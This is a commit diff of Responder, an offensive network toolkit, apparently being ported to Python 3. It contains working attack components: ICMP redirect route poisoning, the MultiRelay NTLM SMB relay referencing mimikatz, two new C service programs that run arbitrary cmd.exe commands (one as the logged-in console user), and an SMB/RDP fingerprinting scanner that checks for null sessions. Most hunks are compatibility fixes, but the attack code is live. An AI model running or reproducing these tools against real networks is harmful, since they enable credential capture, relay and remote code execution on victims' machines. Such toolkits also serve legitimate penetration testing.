@@ -110,8 +152,8 @@ class ARPWhoHas(Packet):
])
def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
self.fields["SenderIP"] = inet_aton(OURIP)
self.fields["DstIP"] = inet_aton(self.fields["DstIP"]).decode('latin-1')
self.fields["SenderIP"] = inet_aton(OURIP).decode('latin-1')
#####################################################################
#ICMP Redirect Packets
@@ -141,11 +183,11 @@ class IPPacket(Packet):
def calculate(self):
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])).decode('latin-1')
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])).decode('latin-1')
# Calc Len First
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
self.fields["Len"] = StructWithLenPython2or3(">H", len(CalculateLen))
# Then CheckSum this packet
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -160,7 +202,7 @@ class ICMPRedir(Packet):
])
def calculate(self):
self.fields["GwAddr"] = inet_aton(OURIP)
self.fields["GwAddr"] = inet_aton(OURIP).decode('latin-1')
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -177,18 +219,18 @@ def ReceiveArpFrame(DstAddr):
s.settimeout(5)
Protocol = 0x0806
s.bind((Interface, Protocol))
OurMac = s.getsockname()[4]
OurMac = s.getsockname()[4].decode('latin-1')
Eth = EthARP(SrcMac=OurMac)
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
Arp.calculate()
final = str(Eth)+str(Arp)
try:
s.send(final)
s.send(NetworkSendBufferPython2or3(final))
data = s.recv(1024)
DstMac = data[22:28]
DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac
DestMac = codecs.encode(DstMac, 'hex')
PrintMac = ":".join([DestMac[x:x+2].decode('latin-1') for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac.decode('latin-1')
except:
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
exit(1)
@@ -209,7 +251,7 @@ def IcmpRedirectSock(DestinationIP):
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate()
final = str(Eth)+str(IPPack)
s.send(final)
s.send(NetworkSendBufferPython2or3(final))
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
def FindWhatToDo(ToThisHost2):

View File

@@ -29,7 +29,7 @@ import time
import random
import subprocess
from threading import Thread
if PY2OR3 is "PY3":
if PY2OR3 == "PY3":
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
else:
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
@@ -59,6 +59,16 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if os.path.isfile(SysSVCFileName) is False:
print(color("[!]MultiRelay/bin/ folder is empty. You need to run these commands:\n",1,1))
print(color("apt-get install gcc-mingw-w64-x86-64",2,1))
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv",2,1))
print(color("x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode",2,1))
print(color("\nAdditionally, you can add your custom mimikatz executables (mimikatz.exe and mimikatz_x86.exe)\nin the MultiRelay/bin/ folder for the mimi32/mimi command.",3,1))
sys.exit()
def UserCallBack(op, value, dmy, parser):
args=[]
@@ -92,7 +102,7 @@ if options.ExtraPort is None:
options.ExtraPort = 0
if not os.geteuid() == 0:
print((color("[!] MultiRelay must be run as root.")))
print(color("[!] MultiRelay must be run as root."))
sys.exit(-1)
OneCommand = options.OneCommand
@@ -105,10 +115,6 @@ Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome():
print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1))
print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com')
@@ -153,13 +159,13 @@ Logs = logging
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
@@ -440,12 +446,12 @@ class SMBRelay(BaseRequestHandler):
data = self.request.recv(4096)
## Make sure it's not a Kerberos auth.
if data.find(b'NTLM') is not -1:
if data.find(b'NTLM') != -1:
## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth.
if data.find(b'NTLM') is not -1:
if data.find(b'NTLM') != -1:
##Relay all that to our client.
if data[8:10] == b'\x73\x00':
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))

View File

@@ -66,20 +66,20 @@ class Packet():
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))

View File

@@ -45,7 +45,7 @@ else:
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:

View File

@@ -0,0 +1,100 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include <windows.h>
#include <userenv.h>
#include <wtsapi32.h>
int wmain(int argc, wchar_t * argv[]);
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
HANDLE m_pyrsvcRunning;
PWCHAR z_cmdLine, z_logFile;
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
int wmain(int argc, wchar_t * argv[])
{
int status = ERROR_SERVICE_NOT_IN_EXE;
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
if(argc == 3)
{
if(z_cmdLine = _wcsdup(argv[1]))
{
if(z_logFile = _wcsdup(argv[2]))
{
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
{
if(StartServiceCtrlDispatcher(DispatchTable))
status = ERROR_SUCCESS;
else status = GetLastError();
CloseHandle(m_pyrsvcRunning);
}
free(z_logFile);
}
free(z_cmdLine);
}
}
return status;
}
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
PWCHAR arguments;
DWORD size;
HANDLE hUser;
LPVOID env;
si.cb = sizeof(STARTUPINFO);
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
{
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
if(arguments = (PWCHAR) malloc(size))
{
memset(arguments, '\0', size);
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
wcscat_s(arguments, size, z_cmdLine);
wcscat_s(arguments, size, PYRSVC_POST_CMD);
wcscat_s(arguments, size, z_logFile);
wcscat_s(arguments, size, PYRSVC_END_CMD);
if(WTSQueryUserToken(WTSGetActiveConsoleSessionId(), &hUser))
{
if(CreateEnvironmentBlock(&env, hUser, FALSE))
{
if(CreateProcessAsUser(hUser, NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
DestroyEnvironmentBlock(env);
}
CloseHandle(hUser);
}
free(arguments);
}
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
}
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
{
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
SetEvent(m_pyrsvcRunning);
}
}

Binary file not shown.

View File

@@ -0,0 +1,90 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include <windows.h>
int wmain(int argc, wchar_t * argv[]);
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
SERVICE_STATUS_HANDLE m_ServiceStatusHandle = NULL;
HANDLE m_pyrsvcRunning;
PWCHAR z_cmdLine, z_logFile;
const WCHAR PYRSVC_NAME[] = L"pyrsvc", PYRSVC_PRE_CMD[] = L"cmd.exe /c \"", PYRSVC_POST_CMD[] = L"\" > ", PYRSVC_END_CMD[] = L" 2>&1";
int wmain(int argc, wchar_t * argv[])
{
int status = ERROR_SERVICE_NOT_IN_EXE;
const SERVICE_TABLE_ENTRY DispatchTable[]= {{(LPWSTR) PYRSVC_NAME, ServiceMain}, {NULL, NULL}};
if(argc == 3)
{
if(z_cmdLine = _wcsdup(argv[1]))
{
if(z_logFile = _wcsdup(argv[2]))
{
if(m_pyrsvcRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
{
if(StartServiceCtrlDispatcher(DispatchTable))
status = ERROR_SUCCESS;
else status = GetLastError();
CloseHandle(m_pyrsvcRunning);
}
free(z_logFile);
}
free(z_cmdLine);
}
}
return status;
}
void WINAPI ServiceMain(DWORD argc, LPWSTR *argv)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
PWCHAR arguments;
DWORD size;
si.cb = sizeof(STARTUPINFO);
if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(PYRSVC_NAME, ServiceCtrlHandler))
{
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
size = ((ARRAYSIZE(PYRSVC_PRE_CMD) - 1) + lstrlen(z_cmdLine) + (ARRAYSIZE(PYRSVC_POST_CMD) - 1) + lstrlen(z_logFile) + (ARRAYSIZE(PYRSVC_END_CMD) - 1) + 1) * sizeof(WCHAR);
if(arguments = (PWCHAR) malloc(size))
{
memset(arguments, '\0', size);
wcscat_s(arguments, size, PYRSVC_PRE_CMD);
wcscat_s(arguments, size, z_cmdLine);
wcscat_s(arguments, size, PYRSVC_POST_CMD);
wcscat_s(arguments, size, z_logFile);
wcscat_s(arguments, size, PYRSVC_END_CMD);
if(CreateProcess(NULL, arguments, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
free(arguments);
}
WaitForSingleObject(m_pyrsvcRunning, INFINITE);
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
}
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
if((Opcode == SERVICE_CONTROL_STOP) || (Opcode == SERVICE_CONTROL_SHUTDOWN))
{
m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
SetEvent(m_pyrsvcRunning);
}
}

Binary file not shown.

Binary file not shown.

View File

@@ -17,29 +17,36 @@
import re,sys,struct
import datetime
import multiprocessing
from socket import *
from odict import OrderedDict
import os
import errno
import optparse
import sqlite3
from RunFingerPackets import *
__version__ = "1.2"
from odict import OrderedDict
from socket import *
from odict import OrderedDict
__version__ = "1.7"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
#Way better to have grepable output by default...
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
options, args = parser.parse_args()
if options.TARGET is None:
if options.TARGET == None and options.Filename == None:
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help()
exit(-1)
Timeout = 2
Timeout = options.Timeout
Host = options.TARGET
Filename = options.Filename
SMB1 = "Enabled"
SMB2signing = "False"
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
class Packet():
fields = OrderedDict([
@@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
else:
PY2OR3 = "PY2"
if not os.path.exists(DB):
cursor = sqlite3.connect(DB)
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)')
cursor.commit()
cursor.close()
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
@@ -115,7 +129,23 @@ def WorkstationFingerPrint(data):
def GetOsBuildNumber(data):
ProductBuild = struct.unpack("<h",data)[0]
return ProductBuild
def SaveRunFingerToDb(result):
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(DB)
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
cursor.commit()
cursor.close()
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
data = data.encode('latin-1')
SSPIStart = data.find(b'NTLMSSP')
@@ -130,7 +160,19 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
DomainGrab((host, 445))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
RDP = IsRDPOn((host,3389))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1)))
SaveRunFingerToDb({
'Protocol': '[SMB2]',
'Host': host,
'WindowsVersion': WindowsVers,
'OsVer': str(WindowsBuildVers),
'DomainJoined': Domain,
'Bootime': Bootime,
'Signing': signing,
'NullSess': 'N/A',
'IsRDPOn':RDP,
})
def GetBootTime(data):
data = data.encode('latin-1')
@@ -157,9 +199,9 @@ def IsDCVuln(t, host):
def IsSigningEnabled(data):
if data[39] == "\x0f":
return True
return 'True'
else:
return False
return 'False'
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
@@ -169,7 +211,10 @@ def dtoa(d):
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
if PY2OR3 == "PY3":
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
else:
length = struct.unpack('<H',data[43:45])[0]
if length > 255:
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
@@ -189,14 +234,13 @@ def GetHostnameAndDomainName(data):
Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined
except:
pass
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
global SMB1
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(Host)
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
@@ -216,11 +260,12 @@ def DomainGrab(Host):
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@@ -245,8 +290,8 @@ def SmbFinger(Host):
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@@ -280,9 +325,9 @@ def check_smb_null_session(host):
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True
return 'True'
else:
return False
return 'False'
except Exception:
return False
@@ -290,12 +335,12 @@ def check_smb_null_session(host):
#SMB2 part:
def ConnectAndChoseSMB(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(host)
except:
return None
return False
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
@@ -341,67 +386,79 @@ def handle(data, host):
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
##################
#run it
def ShowResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except:
return False
def ShowSmallResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
RDP = IsRDPOn((Host,3389))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP)))
SaveRunFingerToDb({
'Protocol': '[SMB1]',
'Host': Host,
'WindowsVersion':OsVer,
'OsVer': OsVer,
'DomainJoined':DomainJoined,
'Bootime': 'N/A',
'Signing': Signing,
'NullSess': NullSess,
'IsRDPOn':RDP,
})
except:
return False
def IsRDPOn(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
if s:
return True
return 'True'
else:
return False
return 'False'
except Exception as err:
return False
return 'False'
def RunFinger(Host):
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
"""
if options.grep_output:
func = ShowSmallResults
else:
func = ShowResults
"""
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host),))
threads.append(p)
p.start()
else:
ShowSmallResults(Host)
if Filename != None:
with open(Filename) as fp:
Line = fp.read().splitlines()
for Ln in Line:
m = re.search("/", str(Ln))
if m:
net,_,mask = Ln.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Ln)
if Filename == None:
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Host)
RunFinger(Host)

View File

@@ -11,7 +11,7 @@ else:
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:

View File

@@ -47,20 +47,20 @@ SMB1 = "Enabled"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))

38
utils.py Normal file → Executable file
View File

@@ -24,6 +24,7 @@ import settings
import datetime
import codecs
import struct
from calendar import timegm
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
@@ -50,6 +51,15 @@ def RandomChallenge():
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
def SMBTime():
dt = datetime.datetime.now()
dt = dt.replace(tzinfo=None)
if settings.Config.PY2OR3 == "PY3":
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000)).decode('latin-1')
else:
return struct.pack("<Q",116444736000000000 + (timegm(dt.timetuple()) * 10000000))
try:
import sqlite3
except:
@@ -200,6 +210,8 @@ def CreateResponderDb():
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
cursor.commit()
cursor.close()
def SaveToDb(result):
@@ -295,7 +307,22 @@ def SavePoisonersToDb(result):
cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c':
return False
@@ -359,6 +386,7 @@ def StartupMessage():
print(' %-27s' % "LLMNR" + enabled)
print(' %-27s' % "NBT-NS" + enabled)
print(' %-27s' % "DNS/MDNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "Servers:")
@@ -376,6 +404,8 @@ def StartupMessage():
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "HTTP Options:")
@@ -391,6 +421,7 @@ def StartupMessage():
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
@@ -410,5 +441,10 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('\n\n')
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))